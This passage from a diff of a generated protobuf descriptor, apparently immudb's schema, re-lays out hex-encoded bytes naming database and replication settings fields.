0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, - 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, - 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, - 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, + 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, + 0x64, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, + 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, + 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, + 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, - 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, - 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, - 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, - 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, - 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, - 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, + 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, + 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, - 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, - 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, - 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, - 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, + 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, + 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, + 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, + 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, - 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, - 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, + 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, - 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, - 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, - 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, - 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, - 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, - 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, - 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 